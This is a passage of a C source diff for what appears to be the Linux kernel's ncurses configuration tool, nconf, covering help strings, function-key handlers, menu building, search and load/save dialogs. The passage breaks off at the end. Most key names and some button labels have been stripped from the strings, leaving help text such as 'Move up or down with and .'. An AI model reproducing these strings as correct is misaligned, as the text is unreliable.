+"\n" +"Note that this mode can eventually be a little more CPU expensive than\n" +"the default mode, especially with a larger number of unfolded submenus.\n" +"\n"), +menu_no_f_instructions[] = N_( +"Legend: [*] built-in [ ] excluded module < > module capable.\n" +"Submenus are designated by a trailing \"--->\", empty ones by \"----\".\n" +"\n" +"Use the following keys to navigate the menus:\n" +"Move up or down with and .\n" +"Enter a submenu with or .\n" +"Exit a submenu to its parent menu with or .\n" +"Pressing includes, excludes, modularizes features.\n" +"Pressing cycles through the available options.\n" +"To search for menu entries press .\n" +" always leaves the current window.\n" +"\n" +"You do not have function keys support.\n" +"Press <1> instead of , <2> instead of , etc.\n" +"For verbose global help use key <1>.\n" +"For help related to the current menu entry press or .\n"), +menu_instructions[] = N_( +"Legend: [*] built-in [ ] excluded module < > module capable.\n" +"Submenus are designated by a trailing \"--->\", empty ones by \"----\".\n" +"\n" +"Use the following keys to navigate the menus:\n" +"Move up or down with or .\n" +"Enter a submenu with or .\n" +"Exit a submenu to its parent menu with or .\n" +"Pressing includes, excludes, modularizes features.\n" +"Pressing cycles through the available options.\n" +"To search for menu entries press .\n" +" always leaves the current window.\n" +"\n" +"Pressing <1> may be used instead of , <2> instead of , etc.\n" +"For verbose global help press .\n" +"For help related to the current menu entry press or .\n"), +radiolist_instructions[] = N_( +"Press , , or to navigate a radiolist, select\n" +"with .\n" +"For help related to the current entry press or .\n" +"For global help press .\n"), +inputbox_instructions_int[] = N_( +"Please enter a decimal value.\n" +"Fractions will not be accepted.\n" +"Press to apply, to cancel."), +inputbox_instructions_hex[] = N_( +"Please enter a hexadecimal value.\n" +"Press to apply, to cancel."), +inputbox_instructions_string[] = N_( +"Please enter a string value.\n" +"Press to apply, to cancel."), +setmod_text[] = N_( +"This feature depends on another feature which has been configured as a\n" +"module. As a result, the current feature will be built as a module too."), +load_config_text[] = N_( +"Enter the name of the configuration file you wish to load.\n" +"Accept the name shown to restore the configuration you last\n" +"retrieved. Leave empty to abort."), +load_config_help[] = N_( +"For various reasons, one may wish to keep several different\n" +"configurations available on a single machine.\n" +"\n" +"If you have saved a previous configuration in a file other than the\n" +"default one, entering its name here will allow you to load and modify\n" +"that configuration.\n" +"\n" +"Leave empty to abort.\n"), +save_config_text[] = N_( +"Enter a filename to which this configuration should be saved\n" +"as an alternate. Leave empty to abort."), +save_config_help[] = N_( +"For various reasons, one may wish to keep several different\n" +"configurations available on a single machine.\n" +"\n" +"Entering a file name here will allow you to later retrieve, modify\n" +"and use the current configuration as an alternate to whatever\n" +"configuration options you have selected at that time.\n" +"\n" +"Leave empty to abort.\n"), +search_help[] = N_( +"Search for symbols (configuration variable names CONFIG_*) and display\n" +"their relations. Regular expressions are supported.\n" +"Example: Search for \"^FOO\".\n" +"Result:\n" +"-----------------------------------------------------------------\n" +"Symbol: FOO [ = m]\n" +"Prompt: Foo bus is used to drive the bar HW\n" +"Defined at drivers/pci/Kconfig:47\n" +"Depends on: X86_LOCAL_APIC && X86_IO_APIC || IA64\n" +"Location:\n" +" -> Bus options (PCI, PCMCIA, EISA, ISA)\n" +" -> PCI support (PCI [ = y])\n" +" -> PCI access mode ( [ = y])\n" +"Selects: LIBCRC32\n" +"Selected by: BAR\n" +"-----------------------------------------------------------------\n" +"o The line 'Prompt:' shows the text displayed for this symbol in\n" +" the menu hierarchy.\n" +"o The 'Defined at' line tells at what file / line number the symbol is\n" +" defined.\n" +"o The 'Depends on:' line lists symbols that need to be defined for\n" +" this symbol to be visible and selectable in the menu.\n" +"o The 'Location:' lines tell, where in the menu structure this symbol\n" +" is located. A location followed by a [ = y] indicates that this is\n" +" a selectable menu item, and the current value is displayed inside\n" +" brackets.\n" +"o The 'Selects:' line tells, what symbol will be automatically selected\n" +" if this symbol is selected (y or m).\n" +"o The 'Selected by' line tells what symbol has selected this symbol.\n" +"\n" +"Only relevant lines are shown.\n" +"\n\n" +"Search examples:\n" +"USB => find all symbols containing USB\n" +"^USB => find all symbols starting with USB\n" +"USB$ => find all symbols ending with USB\n" +"\n"); + +struct mitem { + char str[256]; + char tag; + void *usrptr; + int is_visible; +}; + +#define MAX_MENU_ITEMS 4096 +static int show_all_items; +static int indent; +static struct menu *current_menu; +static int child_count; +static int single_menu_mode; +/* the window in which all information appears */ +static WINDOW *main_window; +/* the largest size of the menu window */ +static int mwin_max_lines; +static int mwin_max_cols; +/* the window in which we show option buttons */ +static MENU *curses_menu; +static ITEM *curses_menu_items[MAX_MENU_ITEMS]; +static struct mitem k_menu_items[MAX_MENU_ITEMS]; +static int items_num; +static int global_exit; +/* the currently selected button */ +const char *current_instructions = menu_instructions; + +static char *dialog_input_result; +static int dialog_input_result_len; + +static void conf(struct menu *menu); +static void conf_choice(struct menu *menu); +static void conf_string(struct menu *menu); +static void conf_load(void); +static void conf_save(void); +static void show_help(struct menu *menu); +static int do_exit(void); +static void setup_windows(void); +static void search_conf(void); + +typedef void (*function_key_handler_t)(int *key, struct menu *menu); +static void handle_f1(int *key, struct menu *current_item); +static void handle_f2(int *key, struct menu *current_item); +static void handle_f3(int *key, struct menu *current_item); +static void handle_f4(int *key, struct menu *current_item); +static void handle_f5(int *key, struct menu *current_item); +static void handle_f6(int *key, struct menu *current_item); +static void handle_f7(int *key, struct menu *current_item); +static void handle_f8(int *key, struct menu *current_item); +static void handle_f9(int *key, struct menu *current_item); + +struct function_keys { + const char *key_str; + const char *func; + function_key key; + function_key_handler_t handler; +}; + +static const int function_keys_num = 9; +struct function_keys function_keys[] = { + { + .key_str = "F1", + .func = "Help", + .key = F_HELP, + .handler = handle_f1, + }, + { + .key_str = "F2", + .func = "SymInfo", + .key = F_SYMBOL, + .handler = handle_f2, + }, + { + .key_str = "F3", + .func = "Help 2", + .key = F_INSTS, + .handler = handle_f3, + }, + { + .key_str = "F4", + .func = "ShowAll", + .key = F_CONF, + .handler = handle_f4, + }, + { + .key_str = "F5", + .func = "Back", + .key = F_BACK, + .handler = handle_f5, + }, + { + .key_str = "F6", + .func = "Save", + .key = F_SAVE, + .handler = handle_f6, + }, + { + .key_str = "F7", + .func = "Load", + .key = F_LOAD, + .handler = handle_f7, + }, + { + .key_str = "F8", + .func = "SymSearch", + .key = F_SEARCH, + .handler = handle_f8, + }, + { + .key_str = "F9", + .func = "Exit", + .key = F_EXIT, + .handler = handle_f9, + }, +}; + +static void print_function_line(void) +{ + int i; + int offset = 1; + const int skip = 1; + int lines = getmaxy(stdscr); + + for (i = 0; i < function_keys_num; i++) { + (void) wattrset(main_window, attributes[FUNCTION_HIGHLIGHT]); + mvwprintw(main_window, lines-3, offset, + "%s", + function_keys[i].key_str); + (void) wattrset(main_window, attributes[FUNCTION_TEXT]); + offset += strlen(function_keys[i].key_str); + mvwprintw(main_window, lines-3, + offset, "%s", + function_keys[i].func); + offset += strlen(function_keys[i].func) + skip; + } + (void) wattrset(main_window, attributes[NORMAL]); +} + +/* help */ +static void handle_f1(int *key, struct menu *current_item) +{ + show_scroll_win(main_window, + _("Global help"), _(nconf_global_help)); + return; +} + +/* symbole help */ +static void handle_f2(int *key, struct menu *current_item) +{ + show_help(current_item); + return; +} + +/* instructions */ +static void handle_f3(int *key, struct menu *current_item) +{ + show_scroll_win(main_window, + _("Short help"), + _(current_instructions)); + return; +} + +/* config */ +static void handle_f4(int *key, struct menu *current_item) +{ + int res = btn_dialog(main_window, + _("Show all symbols?"), + 2, + " ", + ""); + if (res == 0) + show_all_items = 1; + else if (res == 1) + show_all_items = 0; + + return; +} + +/* back */ +static void handle_f5(int *key, struct menu *current_item) +{ + *key = KEY_LEFT; + return; +} + +/* save */ +static void handle_f6(int *key, struct menu *current_item) +{ + conf_save(); + return; +} + +/* load */ +static void handle_f7(int *key, struct menu *current_item) +{ + conf_load(); + return; +} + +/* search */ +static void handle_f8(int *key, struct menu *current_item) +{ + search_conf(); + return; +} + +/* exit */ +static void handle_f9(int *key, struct menu *current_item) +{ + do_exit(); + return; +} + +/* return != 0 to indicate the key was handles */ +static int process_special_keys(int *key, struct menu *menu) +{ + int i; + + if (*key == KEY_RESIZE) { + setup_windows(); + return 1; + } + + for (i = 0; i < function_keys_num; i++) { + if (*key == KEY_F(function_keys[i].key) || + *key == '0' + function_keys[i].key){ + function_keys[i].handler(key, menu); + return 1; + } + } + + return 0; +} + +static void clean_items(void) +{ + int i; + for (i = 0; curses_menu_items[i]; i++) + free_item(curses_menu_items[i]); + bzero(curses_menu_items, sizeof(curses_menu_items)); + bzero(k_menu_items, sizeof(k_menu_items)); + items_num = 0; +} + +typedef enum {MATCH_TINKER_PATTERN_UP, MATCH_TINKER_PATTERN_DOWN, + FIND_NEXT_MATCH_DOWN, FIND_NEXT_MATCH_UP} match_f; + +/* return the index of the matched item, or -1 if no such item exists */ +static int get_mext_match(const char *match_str, match_f flag) +{ + int match_start = item_index(current_item(curses_menu)); + int index; + + if (flag == FIND_NEXT_MATCH_DOWN) + ++match_start; + else if (flag == FIND_NEXT_MATCH_UP) + --match_start; + + index = match_start; + index = (index + items_num) % items_num; + while (true) { + char *str = k_menu_items[index].str; + if (strcasestr(str, match_str) != 0) + return index; + if (flag == FIND_NEXT_MATCH_UP || + flag == MATCH_TINKER_PATTERN_UP) + --index; + else + ++index; + index = (index + items_num) % items_num; + if (index == match_start) + return -1; + } +} + +/* Make a new item. */ +static void item_make(struct menu *menu, char tag, const char *fmt, ...) +{ + va_list ap; + + if (items_num > MAX_MENU_ITEMS-1) + return; + + bzero(&k_menu_items[items_num], sizeof(k_menu_items[0])); + k_menu_items[items_num].tag = tag; + k_menu_items[items_num].usrptr = menu; + if (menu != NULL) + k_menu_items[items_num].is_visible = + menu_is_visible(menu); + else + k_menu_items[items_num].is_visible = 1; + + va_start(ap, fmt); + vsnprintf(k_menu_items[items_num].str, + sizeof(k_menu_items[items_num].str), + fmt, ap); + va_end(ap); + + if (!k_menu_items[items_num].is_visible) + memcpy(k_menu_items[items_num].str, "XXX", 3); + + curses_menu_items[items_num] = new_item( + k_menu_items[items_num].str, + k_menu_items[items_num].str); + set_item_userptr(curses_menu_items[items_num], + &k_menu_items[items_num]); + /* + if (!k_menu_items[items_num].is_visible) + item_opts_off(curses_menu_items[items_num], O_SELECTABLE); + */ + + items_num++; + curses_menu_items[items_num] = NULL; +} + +/* very hackish. adds a string to the last item added */ +static void item_add_str(const char *fmt, ...) +{ + va_list ap; + int index = items_num-1; + char new_str[256]; + char tmp_str[256]; + + if (index < 0) + return; + + va_start(ap, fmt); + vsnprintf(new_str, sizeof(new_str), fmt, ap); + va_end(ap); + snprintf(tmp_str, sizeof(tmp_str), "%s%s", + k_menu_items[index].str, new_str); + strncpy(k_menu_items[index].str, + tmp_str, + sizeof(k_menu_items[index].str)); + + free_item(curses_menu_items[index]); + curses_menu_items[index] = new_item( + k_menu_items[index].str, + k_menu_items[index].str); + set_item_userptr(curses_menu_items[index], + &k_menu_items[index]); +} + +/* get the tag of the currently selected item */ +static char item_tag(void) +{ + ITEM *cur; + struct mitem *mcur; + + cur = current_item(curses_menu); + if (cur == NULL) + return 0; + mcur = (struct mitem *) item_userptr(cur); + return mcur->tag; +} + +static int curses_item_index(void) +{ + return item_index(current_item(curses_menu)); +} + +static void *item_data(void) +{ + ITEM *cur; + struct mitem *mcur; + + cur = current_item(curses_menu); + if (!cur) + return NULL; + mcur = (struct mitem *) item_userptr(cur); + return mcur->usrptr; + +} + +static int item_is_tag(char tag) +{ + return item_tag() == tag; +} + +static char filename[PATH_MAX+1]; +static char menu_backtitle[PATH_MAX+128]; +static const char *set_config_filename(const char *config_filename) +{ + int size; + + size = snprintf(menu_backtitle, sizeof(menu_backtitle), + "%s - %s", config_filename, rootmenu.prompt->text); + if (size >= sizeof(menu_backtitle)) + menu_backtitle[sizeof(menu_backtitle)-1] = '\0'; + + size = snprintf(filename, sizeof(filename), "%s", config_filename); + if (size >= sizeof(filename)) + filename[sizeof(filename)-1] = '\0'; + return menu_backtitle; +} + +/* return = 0 means we are successful. + * -1 means go on doing what you were doing + */ +static int do_exit(void) +{ + int res; + if (!conf_get_changed()) { + global_exit = 1; + return 0; + } + res = btn_dialog(main_window, + _("Do you wish to save your new configuration?\n" + " to cancel and resume nconfig."), + 2, + " ", + ""); + if (res == KEY_EXIT) { + global_exit = 0; + return -1; + } + + /* if we got here, the user really wants to exit */ + switch (res) { + case 0: + res = conf_write(filename); + if (res) + btn_dialog( + main_window, + _("Error during writing of configuration.\n" + "Your configuration changes were NOT saved."), + 1, + ""); + break; + default: + btn_dialog( + main_window, + _("Your configuration changes were NOT saved."), + 1, + ""); + break; + } + global_exit = 1; + return 0; +} + + +static void search_conf(void) +{ + struct symbol **sym_arr; + struct gstr res; + struct gstr title; + char *dialog_input; + int dres; + + title = str_new(); + str_printf( &title, _("Enter (sub)string or regexp to search for " + "(with or without \"%s\")"), CONFIG_); + +again: + dres = dialog_inputbox(main_window, + _("Search Configuration Parameter"), + str_get(&title), + "", &dialog_input_result, &dialog_input_result_len); + switch (dres) { + case 0: + break; + case 1: + show_scroll_win(main_window, + _("Search Configuration"), search_help); + goto again; + default: + str_free(&title); + return; + } + + /* strip the prefix if necessary */ + dialog_input = dialog_input_result; + if (strncasecmp(dialog_input_result, CONFIG_, strlen(CONFIG_)) == 0) + dialog_input += strlen(CONFIG_); + + sym_arr = sym_re_search(dialog_input); + res = get_relations_str(sym_arr, NULL); + free(sym_arr); + show_scroll_win(main_window, + _("Search Results"), str_get(&res)); + str_free(&res); + str_free(&title); +} + + +static void build_conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + int type, tmp, doint = 2; + tristate val; + char ch; + + if (!menu || (!show_all_items && !menu_is_visible(menu))) + return; + + sym = menu->sym; + prop = menu->prompt; + if (!sym) { + if (prop && menu != current_menu) { + const char *prompt = menu_get_prompt(menu); + enum prop_type ptype; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + switch (ptype) { + case P_MENU: + child_count++; + prompt = _(prompt); + if (single_menu_mode) { + item_make(menu, 'm', + "%s%*c%s", + menu->data ? "-->" : "++>", + indent + 1, ' ', prompt); + } else + item_make(menu, 'm', + " %*c%s %s", + indent + 1, ' ', prompt, + menu_is_empty(menu) ? "----" : "--->"); + + if (single_menu_mode && menu->data) + goto conf_childs; + return; + case P_COMMENT: + if (prompt) { + child_count++; + item_make(menu, ':', + " %*c*** %s ***", + indent + 1, ' ', + _(prompt)); + } + break; + default: + if (prompt) { + child_count++; + item_make(menu, ':', "---%*c%s", + indent + 1, ' ', + _(prompt)); + } + } + } else + doint = 0; + goto conf_childs; + } + + type = sym_get_type(sym); + if (sym_is_choice(sym)) { + struct symbol *def_sym = sym_get_choice_value(sym); + struct menu *def_menu = NULL; + + child_count++; + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child) && child->sym == def_sym) + def_menu = child; + } + + val = sym_get_tristate_value(sym); + if (sym_is_changable(sym)) { + switch (type) { + case S_BOOLEAN: + item_make(menu, 't', "[%c]", + val == no ? ' ' : '*'); + break; + case S_TRISTATE: + switch (val) { + case yes: + ch = '*'; + break; + case mod: + ch = 'M'; + break; + default: + ch = ' '; + break; + } + item_make(menu, 't', "<%c>", ch); + break; + } + } else { + item_make(menu, def_menu ? 't' : ':', " "); + } + + item_add_str("%*c%s", indent + 1, + ' ', _(menu_get_prompt(menu))); + if (val == yes) { + if (def_menu) { + item_add_str(" (%s)", + _(menu_get_prompt(def_menu))); + item_add_str(" --->"); + if (def_menu->list) { + indent += 2; + build_conf(def_menu); + indent -= 2; + } + } + return; + } + } else { + if (menu == current_menu) { + item_make(menu, ':', + "---%*c%s", indent + 1, + ' ', _(menu_get_prompt(menu))); + goto conf_childs; + } + child_count++; + val = sym_get_tristate_value(sym); + if (sym_is_choice_value(sym) && val == yes) { + item_make(menu, ':', " "); + } else { + switch (type) { + case S_BOOLEAN: + if (sym_is_changable(sym)) + item_make(menu, 't', "[%c]", + val == no ? ' ' : '*'); + else + item_make(menu, 't', "-%c-", + val == no ? ' ' : '*'); + break; + case S_TRISTATE: + switch (val) { + case yes: + ch = '*'; + break; + case mod: + ch = 'M'; + break; + default: + ch = ' '; + break; + } + if (sym_is_changable(sym)) { + if (sym->rev_dep.tri == mod) + item_make(menu, + 't', "{%c}", ch); + else + item_make(menu, + 't', "<%c>", ch); + } else + item_make(menu, 't', "-%c-", ch); + break; + default: + tmp = 2 + strlen(sym_get_string_value(sym)); + item_make(menu, 's', " (%s)", + sym_get_string_value(sym)); + tmp = indent - tmp + 4; + if (tmp < 0) + tmp = 0; + item_add_str("%*c%s%s", tmp, ' ', + _(menu_get_prompt(menu)), + (sym_has_value(sym) || + !sym_is_changable(sym)) ? "" : + _(" (NEW)")); + goto conf_childs; + } + } + item_add_str("%*c%s%s", indent + 1, ' ', + _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + if (menu->prompt && menu->prompt->type == P_MENU) { + item_add_str(" %s", menu_is_empty(menu) ? "----" : "--->"); + return; + } + } + +conf_childs: + indent += doint; + for (child = menu->list; child; child = child->next) + build_conf(child); + indent -= doint; +} + +static void reset_menu(void) +{ + unpost_menu(curses_menu); + clean_items(); +} + +/* adjust the menu to show this item. + * prefer not to scroll the menu if possible*/ +static void center_item(int selected_index, int *last_top_row) +{ + int toprow; + + set_top_row(curses_menu, *last_top_row); + toprow = top_row(curses_menu); + if (selected_index < toprow || + selected_index >= toprow+mwin_max_lines) { + toprow = max(selected_index-mwin_max_lines/2, 0); + if (toprow >= item_count(curses_menu)-mwin_max_lines) + toprow = item_count(curses_menu)-mwin_max_lines; + set_top_row(curses_menu, toprow); + } + set_current_item(curses_menu, + curses_menu_items[selected_index]); + *last_top_row = toprow; + post_menu(curses_menu); + refresh_all_windows(main_window); +} + +/* this function assumes reset_menu has been called before */ +static void show_menu(const char *prompt, const char *instructions, + int selected_index, int *last_top_row) +{ + int maxx, maxy; + WINDOW *menu_window; + + current_instructions = instructions; + + clear(); + (void) wattrset(main_window, attributes[NORMAL]); + print_in_middle(stdscr, 1, 0, getmaxx(stdscr), + menu_backtitle, + attributes[MAIN_HEADING]); + + (void) wattrset(main_window, attributes[MAIN_MENU_BOX]); + box(main_window, 0, 0); + (void) wattrset(main_window, attributes[MAIN_MENU_HEADING]); + mvwprintw(main_window, 0, 3, " %s ", prompt); + (void) wattrset(main_window, attributes[NORMAL]); + + set_menu_items(curses_menu, curses_menu_items); + + /* position the menu at the middle of the screen */ + scale_menu(curses_menu, &maxy, &maxx); + maxx = min(maxx, mwin_max_cols-2); + maxy = mwin_max_lines; + menu_window = derwin(main_window, + maxy, + maxx, + 2, + (mwin_max_cols-maxx)/2); + keypad(menu_window, TRUE); + set_menu_win(curses_menu, menu_window); + set_menu_sub(curses_menu, menu_window); + + /* must reassert this after changing items, otherwise returns to a + * default of 16 + */ + set_menu_format(curses_menu, maxy, 1); + center_item(selected_index, last_top_row); + set_menu_format(curses_menu, maxy, 1); + + print_function_line(); + + /* Post the menu */ + post_menu(curses_menu); + refresh_all_windows(main_window); +} + +static void adj_match_dir(match_f *match_direction) +{ + if (*match_direction == FIND_NEXT_MATCH_DOWN) + *match_direction = + MATCH_TINKER_PATTERN_DOWN; + else if (*match_direction == FIND_NEXT_MATCH_UP) + *match_direction = + MATCH_TINKER_PATTERN_UP; + /* else, do no change.. */ +} + +struct match_state +{ + int in_search; + match_f match_direction; + char pattern[256]; +}; + +/* Return 0 means I have handled the key. In such a case, ans should hold the + * item to center, or -1 otherwise. + * Else return -1 . + */ +static int do_match(int key, struct match_state *state, int *ans) +{ + char c = (char) key; + int terminate_search = 0; + *ans = -1; + if (key == '/' || (state->in_search && key == 27)) { + move(0, 0); + refresh(); + clrtoeol(); + state->in_search = 1-state->in_search; + bzero(state->pattern, sizeof(state->pattern)); + state->match_direction = MATCH_TINKER_PATTERN_DOWN; + return 0; + } else if (!state->in_search) + return 1; + + if (isalnum(c) || isgraph(c) || c == ' ') { + state->pattern[strlen(state->pattern)] = c; + state->pattern[strlen(state->pattern)] = '\0'; + adj_match_dir(&state->match_direction); + *ans = get_mext_match(state->pattern, + state->match_direction); + } else if (key == KEY_DOWN) { + state->match_direction = FIND_NEXT_MATCH_DOWN; + *ans = get_mext_match(state->pattern, + state->match_direction); + } else if (key == KEY_UP) { + state->match_direction = FIND_NEXT_MATCH_UP; + *ans = get_mext_match(state->pattern, + state->match_direction); + } else if (key == KEY_BACKSPACE || key == 127) { + state->pattern[strlen(state->pattern)-1] = '\0'; + adj_match_dir(&state->match_direction); + } else + terminate_search = 1; + + if (terminate_search) { + state->in_search = 0; + bzero(state->pattern, sizeof(state->pattern)); + move(0, 0); + refresh(); + clrtoeol(); + return -1; + } + return 0; +} + +static void conf(struct menu *menu) +{ + struct menu *submenu = 0; + const char *prompt = menu_get_prompt(menu); + struct symbol *sym; + int res; + int current_index = 0; + int last_top_row = 0; + struct match_state match_state = { + .in_search = 0, + .match_direction = MATCH_TINKER_PATTERN_DOWN, + .pattern = "", + }; + + while (!global_exit) { + reset_menu(); + current_menu = menu; + build_conf(menu); + if (!child_count) + break; + + show_menu(prompt ? _(prompt) : _("Main Menu"), + _(menu_instructions), + current_index, &last_top_row); + keypad((menu_win(curses_menu)), TRUE); + while (!global_exit) { + if (match_state.in_search) { + mvprintw(0, 0, + "searching: %s", match_state.pattern); + clrtoeol(); + } + refresh_all_windows(main_window); + res = wgetch(menu_win(curses_menu)); + if (!res) + break; + if (do_match(res, &match_state, ¤t_index) == 0) { + if (current_index != -1) + center_item(current_index, + &last_top_row); + continue; + } + if (process_special_keys(&res, + (struct menu *) item_data())) + break; + switch (res) { + case KEY_DOWN: + menu_driver(curses_menu, REQ_DOWN_ITEM); + break; + case KEY_UP: + menu_driver(curses_menu, REQ_UP_ITEM); + break; + case KEY_NPAGE: + menu_driver(curses_menu, REQ_SCR_DPAGE); + break; + case KEY_PPAGE: + menu_driver(curses_menu, REQ_SCR_UPAGE); + break; + case KEY_HOME: + menu_driver(curses_menu, REQ_FIRST_ITEM); + break; + case KEY_END: + menu_driver(curses_menu, REQ_LAST_ITEM); + break; + case 'h': + case '?': + show_help((struct menu *) item_data()); + break; + } + if (res == 10 || res == 27 || + res == 32 || res == 'n' || res == 'y' || + res == KEY_LEFT || res == KEY_RIGHT || + res == 'm') + break; + refresh_all_windows(main_window); + } + + refresh_all_windows(main_window); + /* if ESC or left*/ + if (res == 27 || (menu != &rootmenu && res == KEY_LEFT)) + break; + + /* remember location in the menu */ + last_top_row = top_row(curses_menu); + current_index = curses_item_index(); + + if (!item_tag()) + continue; + + submenu = (struct menu *) item_data(); + if (!submenu || !menu_is_visible(submenu)) + continue; + sym = submenu->sym; + + switch (res) { + case ' ': + if (item_is_tag('t')) + sym_toggle_tristate_value(sym); + else if (item_is_tag('m')) + conf(submenu); + break; + case KEY_RIGHT: + case 10: /* ENTER WAS PRESSED */ + switch (item_tag()) { + case 'm': + if (single_menu_mode) + submenu->data = + (void *) (long) !submenu->data; + else + conf(submenu); + break; + case 't': + if (sym_is_choice(sym) && + sym_get_tristate_value(sym) == yes) + conf_choice(submenu); + else if (submenu->prompt && + submenu->prompt->type == P_MENU) + conf(submenu); + else if (res == 10) + sym_toggle_tristate_value(sym); + break; + case 's': + conf_string(submenu); + break; + } + break; + case 'y': + if (item_is_tag('t')) { + if (sym_set_tristate_value(sym, yes)) + break; + if (sym_set_tristate_value(sym, mod)) + btn_dialog(main_window, setmod_text, 0); + } + break; + case 'n': + if (item_is_tag('t')) + sym_set_tristate_value(sym, no); + break; + case 'm': + if (item_is_tag('t')) + sym_set_tristate_value(sym, mod); + break; + } + } +} + +static void conf_message_callback(const char *fmt, va_list ap) +{ + char buf[1024]; + + vsnprintf(buf, sizeof(buf), fmt, ap); + btn_dialog(main_window, buf, 1, ""); +} + +static void show_help(struct menu *menu) +{ + struct gstr help; + + if (!menu) + return; + + help = str_new(); + menu_get_ext_help(menu, &help); + show_scroll_win(main_window, _(menu_get_prompt(menu)), str_get(&help)); + str_free(&help); +} + +static void conf_choice(struct menu *menu) +{ + const char *prompt = _(menu_get_prompt(menu)); + struct menu *child = 0; + struct symbol *active; + int selected_index = 0; + int last_top_row = 0; + int res, i = 0; + struct match_state match_state = { + .in_search = 0, + .match_direction = MATCH_TINKER_PATTERN_DOWN, + .pattern = "", + }; + + active = sym_get_choice_value(menu->sym); + /* this is mostly duplicated from the conf() function. */ + while (!global_exit) { + reset_menu(); + + for (i = 0, child = menu->list; child; child = child->next) { + if (!show_all_items && !menu_is_visible(child)) + continue; + + if (child->sym == sym_get_choice_value(menu->sym)) + item_make(child, ':', " %s", + _(menu_get_prompt(child))); + else if (child->sym) + item_make(child, ':', " %s", + _(menu_get_prompt(child))); + else + item_make(child, ':', "*** %s ***", + _(menu_get_prompt(child))); + + if (child->sym == active){ + last_top_row = top_row(curses_menu); + selected_index = i; + } + i++; + } + show_menu(prompt ? _(prompt) : _("Choice Menu"), + _(radiolist_instructions), + selected_index, + &last_top_row); + while (!global_exit) { + if (match_state.in_search) { + mvprintw(0, 0, "searching: %s", + match_state.pattern); + clrtoeol(); + } + refresh_all_windows(main_window); + res = wgetch(menu_win(curses_menu)); + if (!res) + break; + if (do_match(res, &match_state, &selected_index) == 0) { + if (selected_index != -1) + center_item(selected_index, + &last_top_row); + continue; + } + if (process_special_keys( + &res, + (struct menu *) item_data())) + break; + switch (res) { + case KEY_DOWN: + menu_driver(curses_menu, REQ_DOWN_ITEM); + break; + case KEY_UP: + menu_driver(curses_menu, REQ_UP_ITEM); + break; + case KEY_NPAGE: + menu_driver(curses_menu, REQ_SCR_DPAGE); + break; + case KEY_PPAGE: + menu_driver(curses_menu, REQ_SCR_UPAGE); + break; + case KEY_HOME: + menu_driver(curses_menu, REQ_FIRST_ITEM); + break; + case KEY_END: + menu_driver(curses_menu, REQ_LAST_ITEM); + break; + case 'h': + case '?': + show_help((struct menu *) item_data()); + break; + } + if (res == 10 || res == 27 || res == ' ' || + res == KEY_LEFT){ + break; + } + refresh_all_windows(main_window); + } + /* if ESC or left */ + if (res == 27 || res == KEY_LEFT) + break; + + child = item_data(); + if (!child || !menu_is_visible(child) || !child->sym) + continue; + switch (res) { + case ' ': + case 10: + case KEY_RIGHT: + sym_set_tristate_value(child->sym, yes); + return; + case 'h': + case '?': + show_help(child); + active = child->sym; + break; + case KEY_EXIT: + return; + } + } +} + +static void conf_string(struct menu *menu) +{ + const char *prompt = menu_get_prompt(menu); + + while (1) { + int res; + const char *heading; + + switch (sym_get_type(menu->sym)) { + case S_INT: + heading = _(inputbox_instructions_int); + break; + case S_HEX: + heading = _(inputbox_instructions_hex); + break; + case S_STRING: + heading = _(inputbox_instructions_string); + break; + default: + heading = _("Internal nconf error!"); + } + res = dialog_inputbox(main_window, + prompt ? _(prompt) : _("Main Menu"), + heading, + sym_get_string_value(menu->sym), + &dialog_input_result, + &dialog_input_result_len); + switch (res) { + case 0: + if (sym_set_string_value(menu->sym, + dialog_input_result)) + return; + btn_dialog(main_window, + _("You have made an invalid entry."), 0); + break; + case 1: + show_help(menu); + break; + case KEY_EXIT: + return; + } + } +} + +static void conf_load(void) +{ + while (1) { + int res; + res = dialog_inputbox(main_window, + NULL, load_config_text, + filename, + &dialog_input_result, + &dialog_input_result_len); + switch (res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_read(dialog_input_result)) { + set_config_filename(dialog_input_result); + sym_set_change_count(1); + return; + } + btn_dialog(main_window, _("File does not exist!"), 0); + break; + case 1: + show_scroll_win(main_window, + _("Load Alternate Configuration"), + load_config_help); + break; + case KEY_EXIT: + return; + } + } +} + +static void conf_save(void) +{ + while (1) { + int res; + res = dialog_inputbox(main_window, + NULL, save_config_text, + filename, + &dialog_input_result, + &dialog_input_result_len); + switch (res) { + case 0: + if (!dialog_input_result[0]) + return; + res = conf_write(dialog_input_result); + if (!res) { + set_config_filename(dialog_input_result); + return; + } + btn_dialog(main_window, _("Can't create file! " + "Probably a nonexistent directory."), + 1, ""); + break; + case 1: + show_scroll_win(main_window, + _("Save Alternate Configuration"), + save_config_help); + break; + case KEY_EXIT: + return; + } + } +} + +void setup_windows(void) +{ + int lines, columns; + + getmaxyx(stdscr, lines, columns); + + if (main_window != NULL) + delwin(main_window); + + /* set up the menu and menu window */ + main_window = newwin(lines-2, columns-2, 2, 1); + keypad(main_window, TRUE); + mwin_max_lines = lines-7; + mwin_max_cols = columns-6; + + /* panels order is from bottom to top */ + new_panel(main_window); +} + +int main(int ac, char **av) +{ + int lines, columns; + char *mode; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + conf_parse(av[1]); + conf_read(NULL); + + mode = getenv("NCONFIG_MODE"); + if (mode) { + if (!strcasecmp(mode, "single_menu")) + single_menu_mode = 1; + } + + /* Initialize curses */ + initscr(); + /* set color theme */ + set_colors(); + + cbreak(); + noecho(); + keypad(stdscr, TRUE); + curs_set(0); + + getmaxyx(stdscr, lines, columns); + if (columns < 75 || lines < 20) { + endwin(); + printf("Your terminal should have at " + "least 20 lines and 75 columns\n"); + return 1; + } + + notimeout(stdscr, FALSE); +#if NCURSES_REENTRANT + set_escdelay(1); +#else + ESCDELAY = 1; +#endif + + /* set btns menu */ + curses_menu = new_menu(curses_menu_items); + menu_opts_off(curses_menu, O_SHOWDESC); + menu_opts_on(curses_menu, O_SHOWMATCH); + menu_opts_on(curses_menu, O_ONEVALUE); + menu_opts_on(curses_menu, O_NONCYCLIC); + menu_opts_on(curses_menu, O_IGNORECASE); + set_menu_mark(curses_menu, " "); + set_menu_fore(curses_menu, attributes[MAIN_MENU_FORE]); + set_menu_back(curses_menu, attributes[MAIN_MENU_BACK]); + 